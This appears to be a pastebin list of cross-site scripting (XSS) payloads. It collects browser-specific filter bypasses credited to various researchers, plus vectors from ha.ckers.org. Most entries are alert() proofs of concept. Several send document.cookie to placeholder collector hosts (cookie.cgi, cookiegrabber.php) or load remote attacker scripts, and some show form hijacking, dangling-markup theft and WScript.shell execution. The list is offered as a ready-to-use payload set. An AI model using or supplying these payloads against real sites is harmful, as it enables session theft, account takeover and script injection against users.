SHOW:
|
|
- or go back to the newest paste.
| 1 | Xss Vectors And Payloads By Zeeshan Haxor (ZeSn) | |
| 2 | ------------------------------------------------ | |
| 3 | < script > < / script> | |
| 4 | < | |
| 5 | < | |
| 6 | < | |
| 7 | < | |
| 8 | < | |
| 9 | << | |
| 10 | <<< | |
| 11 | "><script>" | |
| 12 | <script>alert("XSS")</script>
| |
| 13 | <<script>alert("XSS");//<</script>
| |
| 14 | <script>alert(document.cookie)</script> | |
| 15 | '><script>alert(document.cookie)</script> | |
| 16 | '><script>alert(document.cookie);</script> | |
| 17 | ";alert('XSS');//
| |
| 18 | %3cscript%3ealert("XSS");%3c/script%3e
| |
| 19 | %3cscript%3ealert(document.cookie);%3c%2fscript%3e | |
| 20 | %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E | |
| 21 | <script>alert(document.cookie);</script> | |
| 22 | <script>alert(document.cookie);<script>alert | |
| 23 | <xss><script>alert('XSS')</script></vulnerable>
| |
| 24 | <IMG%20SRC='javascript:alert(document.cookie)'> | |
| 25 | <IMG SRC="javascript:alert('XSS');">
| |
| 26 | <IMG SRC="javascript:alert('XSS')"
| |
| 27 | <IMG SRC=javascript:alert('XSS')>
| |
| 28 | <IMG SRC=JaVaScRiPt:alert('XSS')>
| |
| 29 | <IMG SRC=javascript:alert("XSS")> | |
| 30 | <IMG SRC=`javascript:alert("'XSS'")`>
| |
| 31 | <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
| |
| 32 | <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| 33 | <IMG%20SRC='javasc ript:alert(document.cookie)'> | |
| 34 | <IMG SRC="jav ascript:alert('XSS');">
| |
| 35 | <IMG SRC="jav	ascript:alert('XSS');">
| |
| 36 | <IMG SRC="jav
ascript:alert('XSS');">
| |
| 37 | <IMG SRC="jav
ascript:alert('XSS');">
| |
| 38 | <IMG SRC="  javascript:alert('XSS');">
| |
| 39 | <IMG DYNSRC="javascript:alert('XSS')">
| |
| 40 | <IMG LOWSRC="javascript:alert('XSS')">
| |
| 41 | <IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'> | |
| 42 | <IMG SRC=javascript:alert('XSS')> | |
| 43 | <IMG SRC=javascript:alert('XSS')> | |
| 44 | <IMG SRC=javascript:alert('XSS')> | |
| 45 | '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E | |
| 46 | "><script>document.location='http://your.site.com/cgi-bin/cookie.cgi?'???.cookie</script> | |
| 47 | %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E | |
| 48 | ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
| |
| 49 | '';!--"<XSS>=&{()}
| |
| 50 | <name>','')); phpinfo(); exit;/*</name> | |
| 51 | <![CDATA[<script>var n=0;while(true){n;}</script>]]>
| |
| 52 | <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
| |
| 53 | <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
| |
| 54 | <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
| |
| 55 | <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
| |
| 56 | ||
| 57 | ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ | |
| 58 | TWITTER @xssvector Tweets: | |
| 59 | ||
| 60 | <img language=vbs src=<b onerror=alert#1/1#> | |
| 61 | Opera cross-domain set cookie 0day: document.cookie='xss=jackmasa;domain=.me.' | |
| 62 | Reverse 401 basic auth phishing by @jackmasa POC: | |
| 63 | document.domain='com' chrome/safari same domain suffix cross-domain trick. | |
| 64 | Safari empty location bar bug by @jackmasa POC: | |
| 65 | Safari location object pollution tech: by @kinugawamasato | |
| 66 | Safari URL spoofing about://mmme.me POC: | |
| 67 | Opera URL spoofing vuln data://mmme.me by @jackmasa POC: | |
| 68 | Universal URL spoofing data:;//mmme.me/view/1#1,2 #firefox #safari #opera | |
| 69 | New dom xss vector xxx.innerHTML=document.title by @0x6D6172696F | |
| 70 | Opera data:message/rfc822 #XSS by @insertScript | |
| 71 | #IE <iframe><iframe src=javascript:alert(/@jackmasa/)></iframe> | |
| 72 | IE cool expression xss <div id="alert(/@0x6D6172696F/)" style="x:expression(eval)(id)"> | |
| 73 | Clever webkit xss auditor bypass trick <script?=data:,alert(1)<!-- by @cgvwzq | |
| 74 | Bypass IE8 version flash docuemnt object protection by @jackmasa | |
| 75 | Bypass IE all version flash docuemnt object protection by @gainover1 | |
| 76 | Bypass IE9 flash docuemnt object protection by @irsdl | |
| 77 | Bypass IE8 flash docuemnt object protection by @irsdl | |
| 78 | New XSS vector (#Opera Specific) <sVg><scRipt %00>prompt(/@soaj1664ashar/) | |
| 79 | IE xss filter bypass 0day : <xml:namespace prefix=t><import namespace=t implementation=..... by @gainover1 #IE #0day | |
| 80 | <iframe srcdoc='<svg/onload=alert(/@80vul/)>'> #chrome | |
| 81 | IE xss filter bypass 0day :<script/%00%00v%00%00>alert(/@jackmasa/)</script> and %c0″//(%000000%0dalert(1)// #IE #0day | |
| 82 | new XMLHttpRequest().open("GET", "data:text/html,<svg onload=alert(/@irsdl/)></svg>", false); #firefox #datauri
| |
| 83 | <h1 onerror=alert(/@0x6D6172696F/)>XSS</h1><style>*:after{content:url()}</style> #firefox
| |
| 84 | <script for=_ event=onerror()>alert(/@ma1/)</script><img id=_ src=> #IE | |
| 85 | "<a href=javascript&.x3A;alert&(x28;1&)x29;//=>clickme #IE #xssfilter @kinugawamasato | |
| 86 | Components.lookupMethod(self, 'alert')(1) #firefox | |
| 87 | external.NavigateAndFind(' ',[],[]) #IE #URLredirect
| |
| 88 | <?php header('content-type:text/html;charset=utf-7-utf-8-shift_jis');?> IE decides charset as #utf-7 @hasegawayosuke
| |
| 89 | <meta http-equiv=refresh content="0 javascript:alert(1)"> #opera | |
| 90 | <meta http-equiv=refresh content="?,javascript:alert(1)"> #chrome | |
| 91 | <svg contentScriptType=text/vbs><script>MsgBox"@insertScript"<i> #IE9 #svg #vbscript | |
| 92 | setTimeout(['alert(/@garethheyes/)']); #chrome #safari #firefox | |
| 93 | <svg></ y="><x" onload=alert('@0x6D6172696F')> #svg
| |
| 94 | Event.prototype[0]='@garethheyes',Event.prototype.length=1;Event.prototype.toString=[].join;onload=alert #webkit #opera | |
| 95 | URL-redirect vuln == XSS ! Location:data:text/html,<svg/onload=alert(document.domain)> #Opera @jackmasa | |
| 96 | <a href="data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a> #Chrome #XSS @RSnake | |
| 97 | Clipboard-hijack without script and css: http://<bdo dir=rtl>elgoog</bdo>.com | |
| 98 | Opera:<style>*{-o-link:'data:text/html,<svg/onload=alert(/@garethheyes/)>';-o-link-source:current}</style><a href=1>aaa
| |
| 99 | $=<>@mozilla.org/js/function</>;$::[<>alert</>](/@superevr/) #firefox | |
| 100 | Firefox cookie xss: with(document)cookie='∼≩≭≧∯≳≲≣∽≸≸∺≸∠≯≮≥≲≲≯≲∽≡≬≥≲≴∨∱∩∾',write(cookie); by @jackmasa | |
| 101 | <svg><script>location=<>javascript&#x3A;alert(1)<!/></script> #Firefox #JustForFun | |
| 102 | Just don't support IE <a href=[0x0b]" onclick=alert(1)//">click</a> | |
| 103 | <style>//<!--</style> -->*{x:expression(alert(/@jackmasa/))}//<style></style>
| |
| 104 | <!-- --!><input value="--><body/onload=`alert(/ @jackmasa /)//`"> #IE #XSS | |
| 105 | Input[hidden] XSS <input type=hidden style=`x:expression(alert(/ @garethheyes /))`> target it. | |
| 106 | Firefox clipboard-hijack without script and css : http://<img alt="evil/#" width=0 height=0 > | |
| 107 | <![<img src=x:x onerror=`alert(/ @jackmasa /)//`]--> | |
| 108 | #E4X <{alert(1)}></{alert(2)}>.(alert(3)).@wtf.(wtf) by @garethheyes
| |
| 109 | #vbscript coool feature chr(&H4141)="A", Chr(7^5)=A and Chr(&O41) =‘A’ by @masa141421356 | |
| 110 | ({})[$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164\50/ @0x6D6172696F /\51')()
| |
| 111 | No referer : <iframe src="javascript:'<script src=>;</script>'"></iframe> | |
| 112 | <svg><script>/**/alert(' @0x6D6172696F ')//*/</script></svg>
| |
| 113 | #VBScript Event Handling: [Sub XXX_OnError MsgBox " @0x6D6172696F " End Sub] | |
| 114 | if(1)alert(' @jackmasa ')}{ works in firebug and webkit's console
| |
| 115 | <svg><script onlypossibleinopera:-)> alert(1) #opera by @soaj1664ashar | |
| 116 | <![if<iframe/onload=vbs::alert[:]> #IE by @0x6D6172696F, @jackmasa | |
| 117 | <svg><script/XL:href= data:;;;base64;;;;,<>啊YWx啊lc啊nQ啊oMSk啊=> mix! #opera by @jackmasa | |
| 118 | <! XSS="><img src=xx:x onerror=alert(1)//"> #Firefox #Opera #Chrome #Safari #XSS | |
| 119 | document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=alert(1)>') #IE #XSS
| |
| 120 | header('Refresh: 0;url=javascript:alert(1)');
| |
| 121 | <script language=vbs></script><img src=xx:x onerror="::alert' @insertScript '::"> | |
| 122 | <a href="data:text/html,<script>eval(name)</script>" target="alert(' @garethheyes @0x6D6172696F ')">click</a>
| |
| 123 | #CSS expression <style>*{font-family:'Serif}';x[value=expression(alert(URL=1));]{color:red}</style>
| |
| 124 | #ES #FF for(location of ['javascript:alert(/ff/)']); | |
| 125 | #E4X function::['location']='javascript'':alert(/FF/)' | |
| 126 | HTML5 entity char <a href="javas	cri
pt:alert(' @garethheyes ')">test</a>
| |
| 127 | #Firefox <a href="x:alert(1)" id="test">click</a> <script>eval(test'')</script> by @cgvwzq | |
| 128 | <div style="color:rgb(''�x:expression(alert(URL=1))"></div> CSS and CSS :P
| |
| 129 | toUpperCase XSS document.write('<ı onclıck=alert(1)>asd</ı>'.toUpperCase()) by @jackmasa
| |
| 130 | IE6-8,IE9(quick mode) with jQuery<1.7 $("button").val("<iframe src=vbscript:alert(1)>") by @masa141421356
| |
| 131 | aha <script src=>alert(/IE|Opera/)</script> | |
| 132 | Opera bug? <img src=//\ onload=alert(1)> | |
| 133 | Use 127.1 no 127.0.0.1 by @jackmasa | |
| 134 | IE vector location='vbscript:alert(1)' | |
| 135 | #jQuery super less-xss,work in IE: $(URL) 6 chars | |
| 136 | #Bootstrap tooltip.js xss some other plugins (e.g typeahead,popover) are also the same problem //cc @twbootstrap | |
| 137 | innerText DOM XSS: innerHTML=innerText | |
| 138 | Using IE XSS filter or Chrome xss auditor to block <meta> url redirect. | |
| 139 | jQuery 1.8 a new method: $.parseHTML('<img src=xx:X onerror=alert(1)>')
| |
| 140 | IE all version CSRF vector <img lowsrc=//google.com> | |
| 141 | Timing vector <img src=//ixss.sinaapp.com/sleep.php> | |
| 142 | Firefox data uri can inherit dom-access. <iframe src="data:D,<script>alert(top.document.body.innerHTML)</script>"> | |
| 143 | IE9 <script/onload=alert(1)></script> | |
| 144 | Webkit and FF <style/onload=alert(1)> | |
| 145 | Firefox E4X vector alert(<xss>xs{[function::status]}s</xss>) it is said E4H would replace E4X :P
| |
| 146 | IE8 document.write('<img src="<iframe/onload=alert(1)>\0">')
| |
| 147 | If you want to share your cool vector, please do not hesitate to let me know :) | |
| 148 | ASP trick: ?input1=<script/&in%u2119ut1=>al%u0117rt('1')</script> by @IRSDL
| |
| 149 | New spec:<iframe srcdoc="<svg/onload=alert(domain)>"> #chrome 20 by @0x6D6172696F | |
| 150 | #Firefox syntax broken try{*}catch(e if(alert(1))){} by @garethheyes
| |
| 151 | JSON XSS Tips: /json.cgi?a.html by @hasegawayosuke | |
| 152 | JSON XSS Tips: /json/.html with PHP and .NET by or /json;.html with JSP by @superevr | |
| 153 | ß=ss <a href="http://ß.lv">click</a> by @_cweb | |
| 154 | <a href="http://www。example。com">click</a> by @_cweb | |
| 155 | Firefox link host dom xss https://t.co/aTtzHaaG by @garethheyes | |
| 156 | <a href="http://www﹒example﹒com ">click</a> by @_cweb | |
| 157 | history.pushState([],[],'/xssvector') HTML5 URL spoofing! | |
| 158 | Clickjacking with history.forward() and history.back() by @lcamtuf | |
| 159 | Inertia-Clickjacking for(i=10;i>1;i--)alert(i);new ActiveXObject("WScript.shell").Run('calc.exe',1,true); by @80vul
| |
| 160 | XHTML Entity Hijacking [<!ENTITY nbsp "'">] by @masa141421356 | |
| 161 | Firefox <img src=javascript:while([{}]);>
| |
| 162 | IE <!--[if<img src=x:x onerror=alert(5)//]--> by @0x6D6172696F H5SC#115 | |
| 163 | Firefox funny vector for(i=0;i<100;) find(); by @garethheyes | |
| 164 | IE breaking framebusting vector <script>var location={};</script>
| |
| 165 | IE JSON hijack with UTF-7 json={'x':'',x:location='1'} <script src=... charset=utf-7></script>
| |
| 166 | Firefox <iframe src=view-source://xxxx.com>; with drag and drop | |
| 167 | <button form=hijack_form_id formaction=//evil style="position:absolute;left:0;top:0;width:100%;height:100%"><plaintext> form hijacking | |
| 168 | Dangling markup injection <img src='//evil by @lcamtuf | |
| 169 | Webkit <iframe> viewsource attribute: // <iframe viewsource src="//test.de"></iframe> by @0x6D6172696F | |
| 170 | DOM clobbering:<form name=location > clobbered location object on IE. | |
| 171 | DOM clobbering:<form name=document><image name=body> clobbered document->body | |
| 172 | <isindex formaction=javascript:alert(1)> by @jackmasa | |
| 173 | Classic IE backtick DOM XSS: <img src="xx:x" alt="``onerror=alert(1)"><script>document.body.innerHTML=''</script> | |
| 174 | Firefox <a href="https://4294967298915183000">click</a>=>google by @garethheyes | |
| 175 | <a href="data:text/html;base64xoxoxox,<body/onload=alert(1)>">click</a> by @kkotowicz | |
| 176 | Opera <a href="data:text/html;base64,PHN2Zy萨9vbmxv晕YWQ<>>9YWxlc>>>nQoMSk">click</a> variant base64 encode. by @jackmasa | |
| 177 | Opera <svg><image x:href="data:image/svg-xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"> by LeverOne H5SC#88 | |
| 178 | Webkit and Opera <a href="\/www.google.com/favicon.ico">click</a> by @kkotowicz | |
| 179 | FF <a href="//ⓜⓜⓜⓔ︒ⓜⓔ">click</a> url trick by @jackmasa | |
| 180 | IE <script>-{valueOf:location,toString:[].pop,0:'vbscript:alert%281%29',length:1}</script> @thornmaker , @sirdarckcat
| |
| 181 | <i/onclick=URL=name> IE less xss,20 chars. by @0x6D6172696F | |
| 182 | <a rel="noreferrer" href="//google.com">click</a> no referrer by @sneak_ | |
| 183 | FF <img src="jar:!/"> no referrer by @sneak_ | |
| 184 | No dos expression vector <i style=x:expression(alert(URL=1))> by @jackmasa | |
| 185 | <svg><style>*{font-family:'<svg onload=alert(1)>';}</style></svg> by @0x6D6172696F
| |
| 186 | JSLR( @garethheyes ) challenge result: | |
| 187 | @irsdl challenge result: | |
| 188 | <body onload='vbs:Set x=CreateObject("Msxml2.XMLHTTP"):x.open"GET",".":x.send:MsgBox(x.responseText)'> Vbscript XHR by @masa141421356
| |
| 189 | XML Entity XSS by @garethheyes | |
| 190 | Webkit <svg/onload=domain=id> cross-domain and less vector! example: (JSFiddle cross to JSBin) by @jackmasa | |
| 191 | <style>@import//evil? >>>steal me!<<< scriptless by @garethheyes | |
| 192 | IE <input value="<script>alert(1)</script>" ` /> by @hasegawayosuke | |
| 193 | <xmp><img alt="</xmp><img src=xx:x onerror=alert(1)//"> Classic vector by slacker :D | |
| 194 | <a href="#" onclick="alert(' ');alert(2 ')">name</a> Classic html entity inject vector
| |
| 195 | A nice opera xss: Put 65535 Bytes before and Unicode Sign by @insertScript | |
| 196 | <iframe src="jar://html5sec.org/test.jar!/test.html"></iframe> Upload a jar file => Firefox XSS by @0x6D6172696F | |
| 197 | JS Array Hijacking with MBCS encodings ppt by @hasegawayosuke | |
| 198 | <meta http-equiv="refresh" content="0;url=http://good/[>>>inj];url=http://evil/[<<<inj]"> IE6-7 Inject vector by @kinugawamasato | |
| 199 | IE UTF7 BOM XSS <link rel=stylesheet href='data:,?*%7bx:expression(alert(1))%7D' > by @garethheyes | |
| 200 | <svg><script>a='<svg/onload=alert(1)></svg>';alert(2)</script> by @0x6D6172696F , @jackmasa | |
| 201 | Opera <svg><animation x:href=javascript:alert(1)> SVG animation vector by @0x6D6172696F | |
| 202 | <meta charset=gbk><script>a='xࠄ\';alert(1)//';</script> by @garethheyes | |
| 203 | FF <a href="data:),< s c r i p t > a l e r t ( document.domain ) < / s c r i p t >">CLICK</a> by @0x6D6172696F | |
| 204 | <noscript><!--</noscript><img src=xx:x onerror=alert(1) --> non-IE | |
| 205 | <svg><script xlink:href="data:,alert(1)"> by @0x6D6172696F | |
| 206 | Firefox statusline spoofing<math><maction actiontype="statusline#http://google.com" href="//evil">click by LeverOne | |
| 207 | <svg><oooooo/oooooooooo/onload=alert(1) > by @jackmasa | |
| 208 | <math><script>sgl='<img/src=xx:x onerror=alert(1)>'</script> chrome firefox opera vector by @jackmasa | |
| 209 | FF <applet code=javascript:alert('sgl')> by @jackmasa
| |
| 210 | Nice IE DOM XSS: <div id=d><x xmlns="><body onload=alert(1)"><script>d.innerHTML=‘’</script> by LeverOne | |
| 211 | <script>RuntimeObject("w*")["window"]["alert"](1);</script> IE a new method get window object! by @s_hskz
| |
| 212 | <body onload="$})}}}});alert(1);({0:{0:{0:function(){0({"> Chrome crazy vector! by @cgvwzq
| |
| 213 | IE <!-- `<img/src=xx:xx onerror=alert(1)//--!> by @jackmasa H5SC: | |
| 214 | <a href="javascript:alert(1)">click</a> non-IE | |
| 215 | <a href="feed:javascript:alert(1)">click</a> Firefox | |
| 216 | <link href="javascript:alert(1)" rel="next"> Opera, pressing the spacebar execute! by @shafigullin | |
| 217 | <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> works on webkit by @garethheyes | |
| 218 | ||
| 219 | ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ | |
| 220 | MORE VECTORS: | |
| 221 | ||
| 222 | <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| 223 | "><script>alert(0)</script> | |
| 224 | <script src=http://yoursite.com/your_files.js></script> | |
| 225 | </title><script>alert(/xss/)</script> | |
| 226 | </textarea><script>alert(/xss/)</script> | |
| 227 | <IMG LOWSRC="javascript:alert('XSS')">
| |
| 228 | <IMG DYNSRC="javascript:alert('XSS')">
| |
| 229 | <font style='color:expression(alert(document.cookie))'> | |
| 230 | <img src="javascript:alert('XSS')">
| |
| 231 | <script language="JavaScript">alert('XSS')</script>
| |
| 232 | [url=javascript:alert('XSS');]click me[/url]
| |
| 233 | <body onunload="javascript:alert('XSS');">
| |
| 234 | <script>alert(1);</script> | |
| 235 | <script>alert('XSS');</script>
| |
| 236 | <script src="http://www.evilsite.org/cookiegrabber.php"></script> | |
| 237 | <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="??(document.cookie)</script> | |
| 238 | <scr<script>ipt>alert('XSS');</scr</script>ipt>
| |
| 239 | <script>alert(String.fromCharCode(88,83,83))</script> | |
| 240 | <img src=foo.png onerror=alert(/xssed/) /> | |
| 241 | <style>@import'javascript:alert("XSS")';</style>
| |
| 242 | <? echo('<scr)'; echo('ipt>alert("XSS")</script>'); ?>
| |
| 243 | <marquee><script>alert('XSS')</script></marquee>
| |
| 244 | <IMG SRC="jav	ascript:alert('XSS');">
| |
| 245 | <IMG SRC="jav
ascript:alert('XSS');">
| |
| 246 | <IMG SRC="jav
ascript:alert('XSS');
| |
| 247 | <body onLoad="alert('XSS');"
| |
| 248 | [color=red' onmouseover="alert('xss')"]mouse over[/color]
| |
| 249 | "/></a></><img src=1.gif onerror=alert(1)> | |
| 250 | window.alert("Bonjour !");
| |
| 251 | <div style="x:expression((window.r==1)?'':eval('r=1;
| |
| 252 | alert(String.fromCharCode(88,83,83));'))"> | |
| 253 | <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
| |
| 254 | "><script alert(String.fromCharCode(88,83,83))</script> | |
| 255 | '>><marquee><h1>XSS</h1></marquee> | |
| 256 | '">><script>alert('XSS')</script>
| |
| 257 | '">><marquee><h1>XSS</h1></marquee> | |
| 258 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
| |
| 259 | <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
| |
| 260 | <script>var var = 1; alert(var)</script> | |
| 261 | <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
| |
| 262 | <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
| |
| 263 | <IMG SRC='vbscript:msgbox("XSS")'>
| |
| 264 | " onfocus=alert(document.domain) "> <" | |
| 265 | <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
| |
| 266 | <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
| |
| 267 | perl -e 'print "<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
| |
| 268 | perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";' > out
| |
| 269 | <br size="&{alert('XSS')}">
| |
| 270 | <scrscriptipt>alert(1)</scrscriptipt> | |
| 271 | </br style=a:expression(alert())> | |
| 272 | </script><script>alert(1)</script> | |
| 273 | <SCRIPT>document.write("XSS");</SCRIPT>
| |
| 274 | a="get";b="URL";c="javascript:";d="alert('xss');";eval(a?);
| |
| 275 | ='><script>alert("xss")</script>
| |
| 276 | <isindex action="javas	cript:alert(1)" type=image> | |
| 277 | <script?=">"?="http://yoursite.com/xss.js?69,69"></script> | |
| 278 | <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body> | |
| 279 | ">/XaDoS/><script>alert(document.cookie)</script> | |
| 280 | <script> src="http://www.site.com/XSS.js"></script> | |
| 281 | ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script> | |
| 282 | src="http://www.site.com/XSS.js"></script> | |
| 283 | "><BODY onload!#$%&()*~+_.,:;?@[/|]^`=alert("XSS")>
| |
| 284 | [color=red width=expression(alert(123))][color] | |
| 285 | <BASE HREF="javascript:alert('XSS');//">
| |
| 286 | Execute(MsgBox(chr(88)&chr(83)&chr(83)))< | |
| 287 | "></iframe><script>alert(123)</script> | |
| 288 | <body onLoad="while(true) alert('XSS');">
| |
| 289 | '"></title><script>alert(1111)</script> | |
| 290 | </textarea>'"><script>alert(document.cookie)</script> | |
| 291 | '""><script language="JavaScript"> alert('X nS nS');</script>
| |
| 292 | </script></script><<<<script><>>>><<<script>alert(123)</script> | |
| 293 | <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
| |
| 294 | '></select><script>alert(123)</script> | |
| 295 | '>"><script src = 'http://www.site.com/XSS.js'></script> | |
| 296 | }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script> | |
| 297 | <html><noalert><noscript>(123)</noscript><script>(123)</script> | |
| 298 | <IMG SRC=JaVaScRiPt:alert('XSS')>
| |
| 299 | <IMG SRC=javascript:alert('XSS')>
| |
| 300 | <IMG SRC="javascript:alert('XSS');">
| |
| 301 | <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
| |
| 302 | <IMG SRC="jav ascript:alert('XSS');">
| |
| 303 | <IMG SRC="jav	ascript:alert('XSS');">
| |
| 304 | <IMG SRC="jav
ascript:alert('XSS');">
| |
| 305 | <IMG SRC="jav
ascript:alert('XSS');">
| |
| 306 | <BODY onload!#$%&()*~+_.,:;?@[/|]^`=alert("XSS")>
| |
| 307 | <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| 308 | <<SCRIPT>alert("XSS");//<</SCRIPT>
| |
| 309 | <SCRIPT SRC=//ha.ckers.org/.j> | |
| 310 | <IMG SRC="javascript:alert('XSS')"
| |
| 311 | <iframe src=http://ha.ckers.org/scriptlet.html < | |
| 312 | ";alert('XSS');//
| |
| 313 | </TITLE><SCRIPT>alert("XSS");</SCRIPT>
| |
| 314 | <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
| |
| 315 | <BODY BACKGROUND="javascript:alert('XSS')">
| |
| 316 | <IMG DYNSRC="javascript:alert('XSS')">
| |
| 317 | <IMG LOWSRC="javascript:alert('XSS')">
| |
| 318 | <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
| |
| 319 | <IMG SRC='vbscript:msgbox("XSS")'>
| |
| 320 | <IMG SRC="livescript:[code]"> | |
| 321 | <BODY ONLOAD=alert('XSS')>
| |
| 322 | <BGSOUND SRC="javascript:alert('XSS');">
| |
| 323 | <BR SIZE="&{alert('XSS')}">
| |
| 324 | <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
| |
| 325 | <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> | |
| 326 | <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> | |
| 327 | <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> | |
| 328 | <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
| |
| 329 | <STYLE>@import'javascript:alert("XSS")';</STYLE>
| |
| 330 | <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
| |
| 331 | <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
| |
| 332 | <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
| |
| 333 | <XSS STYLE="xss:expression(alert('XSS'))">
| |
| 334 | <XSS STYLE="behavior: url(xss.htc);"> | |
| 335 | <a <!-- --> href="javascript:alert(-1)">hello</a> | |
| 336 | <a href="javascript:alert(-1)" | |
| 337 | <a href="javascript:alert%252831337%2529">Hello</a> | |
| 338 | <a <!-- href="javascript:alert(31337);">Hello</a> | |
| 339 | <img src="http://www.w3schools.com/tags/planets.gif" width="145" height="126" alt="Planets" usemap="#planetmap"><map name="planetmap"><area shape="rect" coords="0,0,145,126" a-=">" href="javascript:alert(-1)"></map> | |
| 340 | <IMG SRC=javascript:alert('XSS')> | |
| 341 | <IMG SRC=javascript:alert('XSS')> | |
| 342 | <IMG SRC=javascript:alert('XSS')> | |
| 343 | " onhover="javascript:alert(-1)" | |
| 344 | "><script>alert('test')</script>
| |
| 345 | ||
| 346 | ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ | |
| 347 | ha.ckers.org / sla.ckers.org | |
| 348 | ||
| 349 | ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//></SCRIPT>--!><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| 350 | <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| 351 | <IMG SRC="javascript:alert('XSS');">
| |
| 352 | <IMG SRC=JaVaScRiPt:alert('XSS')>
| |
| 353 | <IMG SRC=javascript:alert("XSS")> | |
| 354 | <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
| |
| 355 | <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
| |
| 356 | <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| 357 | <IMG SRC=javascript:alert('XSS')> | |
| 358 | <IMG SRC=javascript:alert('XSS')> | |
| 359 | <IMG SRC=javascript:alert('XSS')> | |
| 360 | <IMG SRC="jav ascript:alert('XSS');">
| |
| 361 | <IMG SRC="jav	ascript:alert('XSS');">
| |
| 362 | <IMG SRC="jav
ascript:alert('XSS');">
| |
| 363 | <IMG SRC="jav
ascript:alert('XSS');">
| |
| 364 | <IMG | |
| 365 | SRC | |
| 366 | = | |
| 367 | " | |
| 368 | j | |
| 369 | a | |
| 370 | v | |
| 371 | a | |
| 372 | s | |
| 373 | c | |
| 374 | r | |
| 375 | i | |
| 376 | p | |
| 377 | t | |
| 378 | : | |
| 379 | a | |
| 380 | l | |
| 381 | e | |
| 382 | r | |
| 383 | t | |
| 384 | ( | |
| 385 | ' | |
| 386 | X | |
| 387 | S | |
| 388 | S | |
| 389 | ' | |
| 390 | ) | |
| 391 | " | |
| 392 | > | |
| 393 | <IMG SRC="  javascript:alert('XSS');">
| |
| 394 | <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| 395 | <BODY onload!#$%&()*~+_.,:;?@[/|\]^`=alert("XSS")>
| |
| 396 | <<SCRIPT>alert("XSS");//<</SCRIPT>
| |
| 397 | <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> | |
| 398 | <SCRIPT SRC=//ha.ckers.org/.j> | |
| 399 | <IMG SRC="javascript:alert('XSS')"
| |
| 400 | <iframe src=http://ha.ckers.org/scriptlet.html < | |
| 401 | <SCRIPT>a=/XSS/ | |
